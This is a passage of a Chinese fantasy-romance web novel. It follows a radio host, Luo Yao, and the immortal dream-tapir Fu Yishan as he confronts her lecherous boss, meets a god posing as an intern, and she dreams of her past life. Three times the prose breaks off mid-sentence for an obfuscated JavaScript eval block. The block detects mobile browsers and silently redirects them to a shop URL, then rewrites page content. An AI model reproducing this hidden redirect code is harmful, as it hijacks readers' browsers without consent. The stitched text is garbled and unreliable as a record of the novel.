宋逢辰身穿一件白色短袖,斜跨背着一个黑色的包,鼻梁上架着一副黑框眼镜,薄唇之间透着若有似无得笑,一副青春男大模样。 “欢迎你的加入,我是实习生陆雯雯。”陆雯雯积极主动地向新人表示友好。 洛瑶附和道:“对对,欢迎你。” “你就是洛瑶吧?久仰大名。”宋逢辰走到洛瑶面前,很是古怪地对她做了个古人才会行的礼。 洛瑶莫名其妙,而且按理现在的实习生来都会叫她洛瑶姐,眼前这人看起来也是刚毕业的样子。 年下不叫姐,心思有点野。 洛瑶一边在心里嘀咕,一边客气地笑笑,“我是洛瑶,没想到我这么有名啊。” “以后还请洛瑶姐多多指教了。”宋逢辰向洛瑶伸出手。他的手掌看起来宽厚,指尖却很修长。 不知道是什么原因,洛瑶在宋逢辰的眼里看到一丝玩味,让人隐隐不安,迟疑了半天才回握。 她很少与人握手,异性就更少了,可与傅以山温热的掌心相比,宋逢辰的手很冰,带着某种难以言说的冷硬。 只停留了一秒,洛瑶迅速撤回了手,表面上还是客套的笑,指引他去找闻芳卉领取工作任务。 “洛瑶姐,怎么样,你是不是也觉得他很帅?”等宋逢辰一走远,陆雯雯就按耐不住找洛瑶讨论。 “你之前见过他?”刚刚和宋逢辰握手的时候,洛瑶心中有种奇怪的感觉,感觉他好像在透过她看着另外一个人。 “他上次来资格复审交材料的时候见过一面,你都不知道我当时多邋遢,所以我今天才洗心革面做人的。”陆雯雯下定决心要从今天开始好好打扮自己,做一个精致小女人。 常言道“女为悦己者容”,可洛瑶并不这么觉得,她认为女人扮不扮美应该取决于自身的想法,而不是异性。 “我觉得你要是每天美美的,充满自信是一件好事,但没必要特意去在乎别人的想法,每天快乐一点,勇敢做自己就好。”洛瑶伸出手将陆雯雯眼睛上掉了一半的假睫毛扯掉。 本来因为假睫毛上胶水太多而有点糊眼睛的陆雯雯瞬间感觉眼前一亮,一脸感激地看着洛瑶。 “你本身睫毛就挺好的,睫毛膏简单刷下就很好看了,这种太浓密的睫毛款式反而会把你眼睛的灵气压住。”洛瑶顺手帮她把另一边的假睫毛也卸了。 “洛瑶姐,你好厉害啊,我早上这么一贴,真的巨难受,怎么看怎么别扭。”陆雯雯用纸巾擦拭掉眼皮上多余的胶水,豁然开朗。 “我一开始化妆很差的,后来经常化就化好起来了,你也可以的,每天进步一点点,天天积累下来,就会找到最适合你自己的妆容。”洛瑶将自己的经验分享给陆雯雯。 “好,我听你的,咱们一起越来越美哈哈哈。”陆雯雯说着说着把自己都说笑了。 洛瑶看着陆雯雯想到了刚毕业时候的自己,那时候的她十分渴望有一个亲切和蔼的老师能带她,但她却没能遇到一个好老师,反而遇到一个心机徒弟。 不但不好好工作,反而投机取巧,一跃成为她的上司,天天想着法儿折磨她。 都说天道好轮回,否极泰来,也不知道什么时候属于她洛瑶的“泰”才会来。 25. 生气 每周一照例都要开早会,大领导讲话格外冗长,甚至像闻芳卉这种小领导每周一都要准备好上周总结和这周计划,总之周日和周一都会很忙。 后来大家就形成了一个共识,周日的《深夜电台》便只放歌曲和广告,周一晚上的节目会提前录制好,取消互动环节。 因此周一是难得洛瑶能在正常下班点下班的日子。 下午五点,夕阳的余晖透过云层的缝隙将天空渲染成粉色,街道上的车流渐渐变得拥堵,城市的华灯逐渐被点亮。 傅以山不打算使用超能力,而是用人类的方式,借助手机上的打车软件打了辆车,透过车窗观察了一路人间的风景,用时15分钟到达广电大厦。 他早上帮洛瑶把车开进过地下停车场,当时那个保安是记住他的脸了,可下午因为换班的缘故,新来的保安不认识傅以山,将他拦住。 “我是洛瑶的朋友,我来帮她取车。”傅以山打算先把车从地下车|库开出来,停到门口等洛瑶。 保安狐疑地看着傅以山,“我知道洛主播,可你不是我们单位的人吧?” 傅以山把车钥匙给保安看,还准确地报出洛瑶车位的号码。 “你等等,我打个电话给洛主播确认下。”保安室里有各个办公室电话,这个负责人的保安小哥二话不说就打电话过去了。 可洛瑶没接到。 “要不你跟我一起下去?你看着我开出来?”傅以山负手在背后,站一旁建议道。 保安小哥思索了片刻,想想也没几分钟的事,自己下去看看更安心,于是便交代了值班室的哥们一两句话就和傅以山一道下去了。 保安一路跟着傅以山来到洛瑶车子边上,傅以山用遥控启动车门,坐进驾驶室里。 正当保安满意地点了点头,准备撤离之时,一个身穿深灰色西服套装的中年男人出现了。 傅以山坐在车里看着他不知道和保安说了什么,保安先走了,而他则是以一副盛气凌人之态走到车前,敲响了驾驶室的车窗。 傅以山出于礼貌,降下了半截车窗,谁知那人不依不饶,“你下车,我们聊两句,我是洛瑶的上司。” 上司?傅以山印象中这个名词在人类职场之中十分重要,那可能眼前这人对洛瑶来说是个重要之人。 傅以山打开车门下车,站在中年男人面前。 比傅以山矮了大半个头的男人一下子在气势上输了一切,但还是虚张声势地问道:“你是什么人?” “我是傅以山。”傅以山扶着车门,不打算和男人掰扯过久。 “傅以山?你不是我们单位的人吧?”男人问的问题和保安几乎一样,口气却是意外地嚣张起来。 “是的。”傅以山微微皱眉。 男人用鼻子出气道:“这是我们单位员工的车,你怎么进来的?” “我知道这是洛瑶的车,我来这里等她。”傅以山看了下手机,时刻注意洛瑶有没有找他。 “等她?你是她什么人?”男人似是不相信,眼睛瞪得像濒死的金鱼一样。 “我是……”傅以山刚一开口,就被人打断了。 “他是我男朋友。” 洛瑶的声音伴随一双香槟色高跟鞋踩到了车门边上。 有风吹起她的裙边和头发,她伸手将脸上的发丝拨开,露出一双明亮的眼睛,眸底掠过冰冷之意。 “男……朋友?”男人失去风度地用手指指着傅以山大喊道。 “对啊。”洛瑶话语里带着不容置喙。 男人随即摆出说教的态度来:“洛瑶,这我可得说说你了,最近杀猪盘诈骗很多的,像他这种十有八九就是。” “这就不劳您费心了,阮台长您还是多关心关心闻组长吧。”洛瑶表面上气定神闲,但实际上当她看到此男的那一刻开始,她心里就像煮沸的水似的,恨不得一脚把他踹飞。 此男便是闻芳卉的未婚夫,之前追过洛瑶的副台长,姓阮,年纪一大把,头发都花白了,让遇见他的人忍不住开口就想问:“阮台长,你什么时候退休啊?” “洛瑶,别不识抬举,我能看上你是你的福气。”阮台长气焰嚣张至极,到了现在这阶段居然还能厚脸皮提这件事。 “可我怎么觉得很晦气呢?”洛瑶怒极反笑。 “你给我等着瞧!”阮台长用手指了指傅以山,又指了指她,放下狠话。 真是,谁怕谁? 洛瑶真的是强忍着怒气,把指甲掐进肉里,以免自己一冲动把他打一顿。 阮台长一贯虚张声势惯了,而且仗着自己领导的身份,这些年没少为非作歹,欺压下属。 他以为洛瑶只不过可以任凭他呼来喝去的吗喽,正在思考怎样为难洛瑶,却不料就在他打算转身的瞬间,时间被按下了暂停键。 傅以山用法术将阮台长先击到墙上,然后隔空用力量一直推他后退。 阮台长还没反应过来是怎么一回事,就被后背一股强大的牵引力拉着走,他想转身但任凭他如何挣扎,都摆脱不了这股力量,只能像砧板上的鱼一样,四肢疯狂挣扎,嘴上骂骂咧咧,一路被风一样的速度推走,从车|库推到电梯,又从电梯里被推出来。 恐惧已经牢牢掌控住了阮台长的心神,用他那双眯眯眼所能看到的仅仅是不断向后倒退的光影。 “砰”一声,阮台长直接“用后背”撞开了女厕所的门,把正在洗手的几个女孩子吓得逃走。 就在他以为噩梦总算要结束之时,推他的力突然加大。 一个隔间的门直接被大力撞开,里面接连发出两声响破天际的惨叫。 “天,你把他送到哪里去了?”饶是洛瑶见惯了傅以山使用超能力,可这么不顾一切的暴力行为还是第一次见。 “送他去找他未婚妻了。”傅以山漠然地看了眼阮台长被拖走的方向,走到车子另一侧,帮洛瑶打开副驾驶室的门,“放心,他不会死的,我们走吧。” 看来这回傅以山是真有点生气了,洛瑶坐进副驾驶室里,小心打量着他,忍不住好奇心,问道:“他前面和你说什么了?让你生气了?” 傅以山眼神专注在开车上,语气柔和地说道:“不是我,是你生气了。” “有这么明显吗?我已经很克制了。”洛瑶用手摸了摸自己的脸颊,还以为自己装的挺像样的。 “梦貘有天生的感知能力,我能感受到你很讨厌他,很想……打他。”傅以山说最后两个字的时候特意看了洛瑶一眼。 洛瑶双手捂住胸口,不可思议道:“这你都能知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037678|147475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,那我岂不是在你面前都不能有小秘密了?” 傅以山轻笑道:“你有什么小秘密不想让我知道?” “小秘密说了还能叫小秘密吗?”洛瑶撇开眼,手指抠着安全带小声嘟囔。 “我一般不会随便感知的,除非你的情绪太强烈,那我不想感知也会感知到。”傅以山淡然解释。 “那……我问你一个问题,你要老实回答我。” “问吧。” 正好红灯,车子停在了斑马线前,因为惯性,傅以山轻微向前晃了下,好整以暇地抬眼看向洛瑶。 “你能感知到现在的我是什么情绪吗?”洛瑶目光坚定地与他眼神交汇,丝毫没有躲闪,认真地等待着他的回答。 傅以山一开始有点犯难,如果他说能感知,那洛瑶万一怕他怎么办?如果他说不能,又该找什么理由解释? “不许撒谎,必须诚实地回答出来。”洛瑶敏锐地察觉到了傅以山的犹豫,她就是纯纯好奇傅以山的这种超能力能神奇到什么样的地步。 安静的车厢和车外的车水马龙像是被隔绝成两个世界,他们仿佛处在只有他们两个人的世界里,时间被无限拉长,在洛瑶灵动的眼眸里,傅以山看到了一丝期待,她的一颦一笑都触动着他内心最柔软的地方。 “我想你应该是喜欢我的。” 就像我喜欢你一样。 傅以山温和而亲切的目光里,泛着意味深长之色,声音低沉而温柔,像一阵和风吹过洛瑶的耳畔。 自知定力不足的洛瑶感觉自己的心脏猛然抽动了一下,不敢再看傅以山眼睛,扭头看了眼红灯,说道:“看来你的感知能力也不是很准呢。” “哦?是吗?”傅以山也观察着红灯,耳尖变得和洛瑶一样红,嘴角却不由自主地勾起。 “哈。”洛瑶笑了一笑,“偶尔不准也正常嘛,诶,绿灯了,可以走了。” * 傅以山本来想亲自下厨给洛瑶做饭,但奈何洛瑶坚持说自己上了一天班肚子很饿,两个人便去商场里找了家店吃。 周一晚上的商场人不是很多,点菜上菜速度都很快,不到一小时,他们就吃完了。 洛瑶吃得很是心满意足,她问傅以山:“你觉得这家餐厅味道如何?” “抱歉,洛瑶。”傅以山垂下眼眸,餐厅的顶光照射到他浓密的睫毛上,晕染出几分晦涩。 洛瑶有些云里雾里地眨眨眼。 “之前我不知道自己没有味觉会让烧出的菜很难吃,让你吃了很多不好吃的食物,对不起。” 傅以山最近的味觉不断在恢复,现在对食物的敏感度虽然不能说百分百和人类一样,但吃东西比以前有滋味多了。 同时,他也发现了自己做菜难吃的问题。 “哎呀没事,吃都吃了,我都忘了。”洛瑶说了违心的话,她其实还挺担心傅以山继续给她烧黑暗料理的,说自己肚子饿想来餐厅吃饭就是她找的借口。 傅以山顿了下,用非常真挚的口吻请求道:“能不能再给我个机会?” “什么机会?” “证明一下我烧菜的能力。” “……” 好吧,人有执念,梦貘也有执念。 或许傅以山的执念就是烧菜。 26. 上尊 商场负一楼就有个超市,里面的东西很多都是进口的,所以价格会比一般的超市贵一点,但傅以山显然是不缺钱的。 洛瑶曾经问过傅以山为什么要住在博物馆附近,那个地方离市中心很是偏远,而且周边没啥配套设施,生活不是很方便。 傅以山是这么回答的:“我想离我的东西近一些。” 没错,他的意思是那个博物馆里的东西基本都是他保存下来的。 原来洛瑶一直忽略了一点——与时间共存的,除了年纪还有财富。 经过多年的积累,再加上把文物上交给国家得到的补贴,以及一些藏品拍卖所获得的收益,都让傅以山拥有了不愁吃穿的能力。 到了超市里,他还让洛瑶亲眼见识到了有钱人是怎么不看价钱买东西的。 “什么?这牛肉卖XX块钱/斤,这也太贵了吧。”洛瑶把傅以山放进框里的牛肉拿出来,打算换一款。 “没关系,这个我买过,吃起来口感不错。”傅以山打断她的动作,把牛肉放了回去。 “还有这个山竹,这么一盒卖五十?”洛瑶没怎么来过进口超市,不知道这边的物价如此吓人。 傅以山淡定自如地拿起山竹放进购物车,从容地看着洛瑶说:“没关系,你想吃就买吧。” “你这样很容易成为冤大头的,我知道你有钱,但也不能乱花啊。”洛瑶觉得钱还是得花在刀刃上,再加上傅以山毕竟是个坐吃山空的主。 再多的财富,总有一天会花完,还是得精打细算。 洛瑶仰头望着傅以山讲话的时候眼眸里盛着灯光,犹如星光点点,似是很认真在讨论。 傅以山同样认真地听完,嘴角的笑意不自觉变得温柔起来,乖顺地用双手握住购物推车把手,“你说的对,不该乱花钱,麻烦你帮我挑选下吧。” 洛瑶满意地点点头,手握拳在下巴下方虚晃一下,假意捋顺“胡子”,压低嗓子说道:“为师看你一副虚心好学的样子,今天就勉为其难教你怎么挑选吧。” 其实洛瑶平时也不怎么去菜场和超市,大多数时候她都选择网上购买,只不过难得可以在傅以山面前彰显下自己身为“人类”的生活经验,就算是打肿脸充胖子,气势上也不能输。 傅以山忍住笑意,一路跟在洛瑶身后,听从她的指挥。 “你会做意大利面吗?现在据说这个牌子很火,做法也方便。”洛瑶举起一包速食意大利面,查看上面的说明。 平时不怎么吃速食的傅以山好奇地走到洛瑶身边,正打算和她一同看说明,没曾想一个声音突兀地在他们身边出现: “洛瑶姐,好巧,你怎么在这儿啊?” 洛瑶觉得这声音她今天好像刚听过不久,一抬头便看到今天来报到的那个男实习生推着超市的车朝他们走来。 貌似叫宋什么辰来着? “你好,宋同学。”真是尴尬了,洛瑶一下想不起来他全名叫啥,想着叫同学应该不会错。 “好伤心啊洛瑶姐,你居然不记得我名字。”这位宋同学一副似乎不太高兴的模样。 “……”洛瑶脚趾差点要抠出大别墅,盘算着这局面该如何挽救,要不要让傅以山直接一个法术将他们俩送走算了。 “没关系,我再自我介绍下,我叫宋逢辰,以后我们应该还有很多机会见面。”宋逢辰意味深长地一笑,自己给自己找了个台阶。 洛瑶小小松了一口气,心想这孩子还算有点情商,努力回以礼貌的笑容,“宋逢辰同学,好巧,居然在这遇见你哈哈哈。” “诶,洛瑶姐,你旁边这位是你朋友吗?”宋逢辰身体弯向一侧,目光锁定站在洛瑶右后方的傅以山。 虽然宋逢辰像是很符合当下不谙世事,天真烂漫的大学生形象,但毕竟是今天才刚认识的人,洛瑶不想和他透露过多,便敷衍道:“是的,是我朋友。” “你好啊,大哥哥你好帅啊。”宋逢辰笑着向傅以山伸出手。 这个走向让洛瑶有点看不懂了。 正常的男孩子第一次见面会这样说话吗? 洛瑶瞪大了眼珠子,努力控制住自己吃瓜的表情。 傅以山从宋逢辰出现的那一刻起就一直默默在一旁观察着,从他身上发现了特别的气息。 两个人各自藏着情绪,用眼神交流了几个回合之后,傅以山伸出手回握了宋逢辰,表现出一如既往的谦和绅士态度。 “很高兴认识你,宋同学。” 不是宋逢辰,而是宋同学。 一是对于不熟悉的人不宜直呼其名,二是因为“逢辰”二字对于傅以山有着特殊的意义。 “宋逢辰同学,你是一个人来的吗?我们已经买好了,要去结账了,你慢慢逛哈。”洛瑶没看出二人之间的暗潮涌动,只想赶紧结束这无谓的社交。 “那洛瑶姐你们先去结账吧,我再逛逛。”宋逢辰眼底暗藏让人看不清楚的秘密,嘴角带着善意的笑,识趣地推车走了。 洛瑶在他走后,大呼一口气,拉着傅以山赶紧往结账处走去。 她可不想等下又遇到熟人,讲些有的没的。 “一共是384,请问有会员卡吗?”收银员刷完最后一件商品,公式性地发问。 洛瑶压根是第一次来这个超市,只能看向傅以山。 傅以山居然在走神,直到洛瑶拉了下他的衣袖,他才回过神,拿出自己的会员卡。 等他们坐进车里,洛瑶还是发现傅以山不太对劲,他拉上安全带后,迟迟没有启动车子。 “你怎么了?怎么魂不守舍的?”洛瑶拿手在他面前挥了挥。 傅以山及时按下了思考的暂停键,转头问洛瑶:“刚刚那个宋同学,你们相熟吗?” “怎么可能熟?他是我们台里新招的实习生,今天才来报到的。”洛瑶有些莫名。 “今天刚来报到……哦原来如此。”傅以山若有所思。 “怎么啦?你难道是吃醋了?”洛瑶以为傅以山对宋逢辰颇有芥蒂。 傅以山没有回答,而是认真反问道:“为什么刚刚和他说我是你朋友,先前在那个‘领导’面前明明不是这样说的。” “原来你是介意这个啊。”洛瑶了然一笑,将自己的头发别到耳后,向他倾诉以前那个领导是如何对她穷追不舍的,又是如何捧闻芳卉上位的。 “简而言之,那个副台长非常讨人厌,我希望他以后别再来管我的闲事了,而刚刚遇到的宋逢辰,纯粹是因为刚认识,感觉没必要和他讲那么多。”洛瑶怕自己讲得太复杂,让从来没上过班的傅以山听不懂,最后还贴心附上总结。 “你觉得宋逢辰这人如何?”傅以山显然对那个宋逢辰的好奇远远超过副台长。 也是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044175|147475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和快要四十岁的副台长相比,宋逢辰又年轻又帅气,对女性的魅力不言而喻,今天他一来办公室里,除了陆雯雯之外,还有不少小女生都在背后偷偷议论他。 洛瑶以为傅以山这是在提防宋逢辰,突然对自己自信心爆棚,甩开头发,微皱眉道:“个人魅力太大确实容易让人误会,那个台长是明确和我表白过,但宋逢辰只和我说过几句话,应该不会这么容易喜欢我吧。” 傅以山表情变得有些微妙起来,默默发动了车子,轻叹道:“那就尽量和他保持下距离吧。” 洛瑶“咯咯咯”笑出声,忍不住拍了傅以山一下,“别这么夸张,我说笑的。” 傅以山眉目间情绪藏淡,语调平缓道:“还是小心点比较好,你的个人……魅力确实比较大。” “……” 洛瑶以为自己的玩笑话被傅以山当了真,别开眼不敢吭声了,耳根染上绯色的红晕,一时间感觉车内有点热。 * 将洛瑶送到家之后,傅以山用法术独自闪回了家中。 他一向都是一个人独居,出门都是关闭好门窗,把灯也都关了。 本应该漆黑一片的家里此时灯火通明,客厅窗户大开,角落里已经很多年没使用的唱片机里传出了上世纪古典乐,那是傅以山多年的珍藏,虽然他已经很久没有拿出来听过了。 客厅中央的茶几上摆放着几瓶已开封的红酒,有一位不速之客正慵懒地半仰靠在沙发上,高举红酒杯,随着音乐节奏,轻轻摇晃着。 自从踏进家中,傅以山已经感受到了对方的气息,他快步走到沙发边,向对方做了个辑,毕恭毕敬地道: “上尊,别来无恙。” 上尊嫌弃地看了眼他的手势,弯下腰,把酒杯放在茶几上,摇头道:“小傅,现在这个时代可不兴繁文缛节了。” “是的,上尊。”傅以山笑着坐在另一侧的沙发上,为他的酒杯倒上酒。 上尊一手拿起酒杯,一手掌心朝前,婉拒道:“别叫我上尊,我现在的名字叫宋逢辰。” 傅以山也没想到相隔这么多年,自己再度见到上尊会是这样的场景。 太久没见了,他对上尊的记忆还停留在古代洛瑶死前的那段记忆里。 那时候的上尊因为长期随军打战的缘故,经常不修边幅,留着一圈胡茬,棱角分明,眼神锐利,皮肤被阳光晒成古铜色。 和眼前的小鲜肉大学生,不管是外貌还是气质,可以说是毫无关系。 不过傅以山记得,古代那时候,上尊也很喜欢用“逢辰”当作自己的字,他说:“登高怀远心如在,向老逢辰意有加。” 神虽然不能过度干涉人间之事,但他却很享受在人间的日子,学习人类的文化,体验人类的生活。 人类在不同时间节点的喜怒哀乐远比单调无聊的神仙的生活有趣多了。 “您来这是为什么?”从遇到宋逢辰的那刻起,傅以山就有预感,这一切绝不是巧合,他是故意借了个实习生的身份接近洛瑶的。 宋逢辰指着自己,眉眼网上扬起,“不是你找我吗?” “可您那时候并未出现,而现在却以洛瑶的同事身份出现。”傅以山紧盯着宋逢辰。 宋逢辰漫不经心掀起眼皮,饶有兴趣地摸了摸下巴,“小傅,你变了,以前的你什么都不怕,现在的你在害怕什么?” 27. 尘缘 从前的傅以山活得很纯粹,没有家人,没有朋友,他的世界里只有他自己,而他遇到洛瑶之后,明显感觉到自己心中有了牵绊。 不管是前世的羁绊,还是今生的相遇,都让傅以山发生了变化,让他感觉自己不再茕茕独立于世。 害怕肯定是会有的,洛瑶毕竟只是一个脆弱的人类,他不希望她被卷入本不属于她所处世界的各种危险之中。 他宁愿自己去独自承担一切危险。 “我知道您肯定对一切了如指掌,不妨有话直说。”面对宋逢辰探究的眼神,傅以山没有退却地直视他。 宋逢辰重新将背靠到沙发上,以一副轻松口吻告诫道:“我只是想提醒你,‘祸兮,福之所倚;福兮,祸之所伏’。” “还请上尊明示,何为祸,何为福?”不安的情绪弥漫在傅以山的眼睛里。 宋逢辰侧首看他,眼神悠悠停在他脸上,“若你想返回上神界,就必须切断尘缘;但倘若你不想返回,自然也有必须要承受的后果。” * 洛瑶回家后照常洗漱睡觉,许久没有做梦的她竟然又一次梦到了“古代洛瑶”。 紫檀雕螭纹路窗半开,窗前的香案上摆着一个松竹梅纹香炉,墙上挂满了字画,风起,吹起帏帘一角。 站在帏帘之后的洛瑶看到不远处坐着两个人,她认出坐在左侧的是洛明志,右侧坐着的则是个年轻男子,眉眼细长锐利,身着大红色衣袍,手搁在中间的小几上,手指尖间着一枚棋子,正在和洛明志对弈。 “不知太子此番前来,所谓何事?”洛明志略显钝滞的声音传来。 “太子”?洛瑶联想到此前的梦,估摸着坐在洛明志对面这位年轻男子就是南夏的太子了。 洛瑶顿时感觉自己在这里偷听压力很大。 “太傅何须紧张,其实你已经猜到我的来意了吧?之前说的那件事我已禀明圣上,圣上命司天监算过了洛瑶的生辰八字,太子妃人选非她莫属。”太子不急不缓的声音自带不怒自威的衿傲,像是不带任何情感的通知下令。 洛明志放下手里的棋子,站起身快步走到太子面前,弯腰道谢道:“谢陛下圣恩,承蒙太子殿下多年来的照拂,臣倍感荣幸。” “诶,太傅客气了。”太子嘴上如是说,可仍保持着居高临下的姿势。 就在这气氛有些僵持的时刻,洛瑶控制不住自己的身体,一把掀开面前的帘子,冲了出去。 “父亲,我不嫁人。”洛瑶全程低垂着头,在太子面前跪下,将额头贴靠在地上,沉声道:“臣女恳请殿下和陛下收回成命。” “你怎么跑出来了?来人!”洛明志显然慌张到了极点,声音带着颤,把守在外面的家丁叫进来,“快,快把小姐带走,她这几日身体抱恙,定是糊涂了。” 家丁都是彪形大汉,三下五除二就把洛瑶拖走了,毫不留情面地将她一把推入她的房间里,锁上了门。 洛瑶在房间里像热锅上的蚂蚁一样走来走去,心急如焚。 不知过了多久,洛明志打开房门,走了进来。 “父亲……您怎可如此狠心?”洛瑶梗着脖子,当面和洛明志对峙。 洛明志面含怒气,抬手就是一巴掌打到洛瑶脸上,狠狠地瞪着洛瑶:“你个混账!你知道你刚刚做的事有多严重吗?你想害我们全家都遭殃吗?” “我没有,我只是……” “你只是?父母之命媒妁之言乃天经地义,天底下有多少人羡慕你能成为太子妃?你不想嫁太子,你想嫁给谁?” “我不想嫁人,这辈子我都不会嫁人!” “你……”洛明志被气得发抖,青筋暴起的手再度举起来,“你该不是还惦记着傅以山吧?” “是又怎样?我知道我嫁不了他,但我到死都会惦记他。”古代洛瑶的语气听起来很平静,但她讲话时眼眶发酸,努力将背脊挺直,眼睛一点点被白色水雾晕染。 洛明志头痛扶额,随后直接拿起手边一个青瓷花瓶,重重砸向地上,碎片满地,像是已经无法挽回的一切。 “好好好,那今天我就打死你这离经叛道的逆子!来人,拿杖棍来!” 古代人真惨,动不动就棍棒伺候。 洛瑶思考着要怎么躲避这一灾难,幸好她的闹钟突然响了起来,成功救了她一命。 被棍棒吓得快要灵魂出窍的洛瑶,立刻从床上弹起来,虽然人是回来了,可脑子里的弦还是紧绷着,让她下意识地攥着被子,拳头都在颤抖。 这个洛明志真是太可恨了! 难不成古代洛瑶就这样活活被他打死了? 如果真是这样,怪不得死后那么多年了还心有不甘,托梦给她。 唉,真是个可怜人。 洛瑶闭上双眼,揉了揉两侧的太阳穴,顺便理了下自己今天的一天的安排。 首先,她打算先去找傅以山。 * 昨晚在超市里,尽管洛瑶已经精打细算,但还是架不住傅以山的循循善诱,两个人买回了一堆食材。 介于洛瑶家不怎么开火,她平时吃饭也是怎么简单怎么来,家里的烹饪器具和各种调料都不如傅以山家准备充分。 二人最终商议在傅以山家里吃饭。 可问题是傅以山家真的好远,不仅开车开过去很累,而且还废油。 作为一个还在开油车的人类,洛瑶只好求助于傅以山的超能力了。 “其实我一直很好奇,你这个瞬间移动的技能是上尊教你的,还是你天生就会的?”洛瑶拉开餐桌的椅子,随手拿了个苹果放手里抛。 傅以山家是开放式厨房,料理台离餐桌很近,他从锅里把最后一道汤倒出来,端上桌,有条不紊地答道:“上尊收留我的时候,我还未开智,是上尊教我如何使用灵力的。” “原来是要有灵力啊。”洛瑶举起自己的双手,两面都看了看,叹息道:“那看来我是学不会这个技能了。” “你为什么想要有这个技能?”傅以山望着洛瑶的眼睛有一瞬间失神。 “方便啊,不用开车,想去哪里去哪里。”洛瑶耸了耸肩,落在一桌子菜上的眼眸发光。 不得不说,傅以山做的菜“色香”方面还是没得说的,只是这“味”还待考察。 傅以山握着筷子的指节有些发白,嘴角有几分苦涩,“那如果我没有了这个技能,你会失望吗?” 洛瑶抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056493|147475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起头,莫名其妙地看着他,“你为什么会没有这个技能啊?” 傅以山将握拳的手放在桌子上,然后张开手掌,有些无力地说:“最近感觉使用起来与之前有些不同。” 洛瑶手里的筷子掉落,她一拍脑门,自责道:“对不起,我忘了你之前刚受过伤,肯定是那时候灵力消耗太大,这段时间应该让你好好休息才是。” “无需自责,不是消耗的问题,而是感觉它正在消散。”傅以山仓促收回手,将筷子拿在手中,收敛情绪为洛瑶布菜。 “消散?为什么会突然消散?”洛瑶突然意识到事情或许比她想的还要糟糕,傅以山最近的变化确实很奇怪。 “你很担心我失去超能力吗?”傅以山低垂眼眸,突然冒出一句。 洛瑶有些不悦皱起眉,把刚夹起来的排骨都放下了,“你在说什么?超能力是重点吗?重点是你前两次受伤,看起来伤得很严重,身体虚弱地像是病得很重,像是……” 越说洛瑶心里越是后怕起来,声音都哑住了,眼眶湿润,咬着唇才能控制住自己不再继续往下说。 “对不起,以后不会这样了。”傅以山抽了餐桌上的纸巾,递给洛瑶。 洛瑶不争气掉了几颗泪,赶紧用纸巾擦干净,装作什么事情都没发生一样,瞪了傅以山一眼,“快吃饭吧,再说下去,菜都凉了。” “你觉得今天这些菜的味道如何?”傅以山问得小心翼翼。 洛瑶咬了一口排骨,脸上表情变换了几个来回,先是带着某种疑惑,让傅以山一颗心提到了嗓子眼。 然后展颜一笑,给傅以山竖了个大拇指,“比以前好吃多了。” 傅以山也尝了一口,他感觉和餐厅里的味道相差无几,其实再烧给洛瑶吃之前,他偷偷去餐厅里默默学习过几次。 总算是皇天不负有心人,让他总算在厨艺方面学有所成。 等到吃的差不多之时,洛瑶和傅以山谈起了自己昨晚做的那个梦。 “你知不知道那个洛明志有多可恶,连扇了洛瑶两个巴掌还不够,还找人打她。”洛瑶光是想到就咬牙切齿。 傅以山默默开始收拾碗筷,似乎早就知晓了似的,没表现出什么情绪来。 “洛明志不是什么好人,作为他的女儿,受苦了。”傅以山的嗓音像砂纸上磨过的碎片,显得格外清冷。 “可不是嘛,话说你还记得他后来怎么样了啊?有没有恶人有恶报?” “恶人有恶报?”傅以山脑中闪过一道光,如梦初醒般。 “是啊,你不是什么北辰的将军,和他们南夏打战嘛?战争总有输赢吧,后来结果如何?”洛瑶提醒道。 傅以山一直以来都把关注的点集中在他和古代洛瑶的故事上,却忽略了与他们相关的人和事,真真切切存在过的北辰国、南夏国、洛明志,后来到底怎么样了? 在那个朝代,他和上尊带兵进入南夏之后,是不是就意味着南夏灭国了? 这些事情,有一个人明明应该比他还要清楚地记得,可却在他面前只字未提,这又是为何? 诸多问题一瞬间随着洛瑶的发问涌入傅以山的脑海中,他觉得或许他应该要再去找上尊问清楚。 28. 闭眼 最近电影院上映了一部科幻电影,来自多部系列电影中的主角拥有不同的超能力,通过一个契机同时出现,强强联合,拯救世界。 看过人都强烈推荐,说是惊险刺|激,画面很是震撼。 本来洛瑶对于这种类型的电影兴趣不大,但架不住陆雯雯和颜子给她的疯狂安利,让她决定跟一回潮流,想让傅以山陪她去看。 哪知道傅以山以一种平静的口吻说:“我没有去电影院看过电影。” “真的假的?”洛瑶感觉非常稀奇。 “我不太喜欢去人多的地方,一般喜欢在家里看。”傅以山清澈的双眸里倒映着洛瑶的影子。 结合他的性子,洛瑶心中的疑虑顿消,拿出手机翻找起电影的订票信息,无奈地说:“那好吧,我自己去看算了。” 